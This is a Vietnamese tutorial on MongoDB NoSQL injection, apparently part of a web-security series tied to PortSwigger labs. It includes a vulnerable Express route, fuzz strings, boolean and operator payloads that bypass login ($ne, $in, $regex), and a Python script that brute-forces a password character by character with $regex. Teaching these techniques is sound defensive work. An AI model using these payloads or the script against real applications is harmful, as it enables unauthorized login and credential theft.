III. NoSQL syntax injection
Phương thức tấn công NoSQL syntax injection xảy ra khi attacker có thể inject input tùy ý dẫn đến phá vỡ cấu trúc cú pháp của câu truy vấn ban đầu. Xem xét route /product/lookup
sau:
const Product = mongoose.model('Product', productSchema); app.get('/product/lookup', async (req, res) => { let category = req.query.category; try { const products = await Product.find({ category: category, released: 1 }); res.json(products); } catch (error) { res.status(500).json({ message: 'Some errors occurred while querying the database', error: error.message }); }
});
Route /product/lookup
có nhiệm vụ tìm kiếm danh sách sản phẩm đã phát hành (released) và hiển thị cho người dùng. Cụ thể, route này nhận giá trị tham số category
từ người dùng để lọc sản phẩm theo thể loại. Chú ý rằng sau khi định nghĩa category = req.query.category
, đoạn code đã trực tiếp đưa biến category
vào truy vấn find({ category: category, released: 1 })
mà không thực hiện bất kỳ bước sàng lọc dữ liệu nào, cho phép attacker sử dụng giá trị tùy ý cho tham số này.
Trong trường hợp trên, attacker có thể dễ dàng xác định sự bất cẩn này bằng cách gửi ?category='
, khi đó truy vấn NoSQL sẽ gặp lỗi:
find({ category: ''', released: 1 })
Xét một cách tổng quát, attacker nên xây dựng một chiến thuật fuzzing hiệu quả bằng cách kết hợp nhiều ký tự đặc biệt. Ví dụ đối với cơ sở dữ liệu MongoDB có thể sử dụng chuỗi fuzzing sau (lưu ý các ký tự xuống dòng).
'"`{
;$Foo}
$Foo \xYZ
Để xác định chắc chắn hơn, chúng ta có thể xem xét thêm các hành vi của ứng dụng khi nhận các điều kiện truy vấn khác nhau. Ví dụ một số payload:
Đối với payload viblo' && 0 && 'viblo
, truy vấn trở thành:
find({ category: 'viblo' && 0 && 'viblo', released: 1 })
Kết quả 'viblo' && 0 && 'viblo'
luôn nhận giá trị false
nên giao diện không trả về dữ liệu.
Đối với payload viblo' && 1 && 'viblo
, truy vấn trở thành:
find({ category: 'viblo' && 1 && 'viblo', released: 1 })
Kết quả 'viblo' && 1 && 'viblo'
luôn nhận giá trị true
nên giao diện có trả về dữ liệu.
Đối với payload 1'||'1'=='1
, truy vấn trở thành:
find({ category: '1'||'1'=='1', released: 1 })
Kết quả '1'||'1'=='1'
luôn nhận giá trị true
nên giao diện có trả về dữ liệu.
Attacker có thể kết hợp ký tự Null (%00
) trong payload vì MongoDB sẽ "bỏ qua" các ký tự sau Null trong truy vấn, rất giống với các ký tự comment trong SQL injection.
Bạn đọc có thể luyện tập các kỹ thuật trên thông qua bài lab Detecting NoSQL injection.
IV. NoSQL operator injection
NoSQL operator injection chỉ cách tấn công sử dụng các toán tử truy vấn trong NoSQL đã được nhắc tới trong phần 1 (trong phạm vi MongoDB) của bài viết này.
1. Bypass chức năng đăng nhập
Một trong những impact dễ thấy nhất của dạng tấn công operator injection là bypass chức năng login. Xét chức năng đăng nhập của ứng dụng nhận dữ liệu người dùng theo định dạng JSON và qua phương thức POST:
{ "username": "user", "password": "123456"
}
Ứng dụng không có bước kiểm tra dữ liệu đầu vào mà trực tiếp đưa vào câu truy vấn NoSQL. Giả sử bảng users
có các bản ghi như sau và truy vấn findOne()
:
db.users.insertMany([ { uid: 1, username: 'admin', password: 'Admin@1337' }, { uid: 2, username: 'user', password: '123456' }, { uid: 3, username: 'test', password: 'test' }, { uid: 4, username: 'dev', password: 'Dev@123456' }
]); db.users.findOne({ username: 'user', password: '123456' });
Đứng ở phương diện blackbox, attacker có thể sử dụng toán tử $ne
(not equal) nhằm kiểm tra truy vấn có chấp nhận toán tử này hay không bằng cách gửi data:
{ "username": { "$ne": "viblo" }, "password": "123456"
}
Khi đó truy vấn trở thành findOne({ username: {'$ne': 'viblo'}, password: '123456' })
. Nếu ứng dụng chấp nhận toán tử này, truy vấn thực hiện tìm kiếm bản ghi có giá trị username
khác viblo
và password
là 123456
, kết quả vẫn trả về bản ghi tưởng ứng với người dùng user
:
Như vậy attacker có thể dễ dàng bypass chức năng login bằng cách inject payload vào trường password
:
{ "username": "admin", "password": { "$ne": "viblo" }
}
Trong trường hợp chúng ta không biết cả username
và password
thì làm thế nào? Có thể inject toán tử $ne
vào cả hai trường, như vậy truy vấn sẽ trả về kết quả đầu tiên trong bảng users
:
{ "username": { "$ne": "not-exist" }, "password": { "$ne": "not-exist" }
}
Một cách tấn công khác là sử dụng toán tử $in
thực hiện brute force username trong mảng usernames:
{ "username": { "$in": ["admin","administrator","superadmin"] }, "password": { "$ne": "" }
}
Bạn đọc cũng có thể thử thêm một số toán tử khác như $regex
, $gt
, $lt
, $nin
, ... Một số cách tấn công NoSQL injection thông dụng:
Đối với data được gửi qua URL (GET method):
username[$ne]=toto&password[$ne]=toto
login[$regex]=a.*&pass[$ne]=lol
login[$gt]=admin&login[$lt]=test&pass[$ne]=1
login[$nin][]=admin&login[$nin][]=test&pass[$ne]=toto
Đối với data được gửi qua JSON:
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
Bạn đọc có thể luyện tập các kỹ thuật tấn công trên thông qua bài lab Exploiting NoSQL operator injection to bypass authentication.
2. Tấn công brute force với toán tử $regex
Trong một số trường hợp, attacker mong muốn thu được bản rõ của tài khoản người dùng (bao gồm username và password) nhằm phục vụ các mục đích khác. Lúc này chúng ta sẽ có thể nghĩ tới toán tử $regex
. Xét tình huống attacker biết rằng ứng dụng tồn tại tài khoản người dùng có username là wiener
và mong muốn tìm được bản rõ mật khẩu của người dùng này.
Xây dựng payload inject vào trường password (định dạng JSON) với toán tử $regex
như sau:
{ "username": "wiener", "password": { "$regex": "^a" }
}
Truy vấn NoSQL hiểu rằng đang cần tìm kiếm bản ghi có username
là wiener
, mật khẩu bắt đầu bằng ký tự a
. Bằng cách thử lần lượt các ký tự, attacker tìm thấy ký tự đầu tiên của mật khẩu là p
do status code trả về khác nhau:
Có thể tự động hóa kịch bản này bằng cách viết script, chẳng hạn với ngôn ngữ Python:
import requests
import string username = "wiener"
password = ""
url = "https://0a74004904df07b681cf89ee00580098.web-security-academy.net:443/login"
headers = {"Content-Type": "application/json"}
while True: for c in string.printable: if c not in ['*','+','.','?','|']: payload = '{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) print(payload) r = requests.post(url, data = payload, headers = headers, allow_redirects = False) if r.status_code == 302: print("Found one more char : %s" % (password + c)) password += c
Script trên thực hiện thử lần lượt tất cả các ký tự trong phạm vi có thể in ra (string.printable
). Khi tìm thấy một ký tự đúng sẽ thêm vào giá trị biến password
hiện tại, tìm lần lượt ra password của người dùng wiener
là:
^p
^pe
^pet
^pete
^peter
Một bài tập nhỏ dành cho bạn đọc: Hãy viết script tự động hóa tấn công NoSQL injection thực hiện brute force username và password của người dùng, biết rằng ứng dụng gửi data login qua urlencoded body. (Các yếu tố chưa rõ như API login, trạng thái phản hồi khi đăng nhập thành công hoặc thất bại, tên các tham số, ... bạn đọc có thể tự định nghĩa thêm)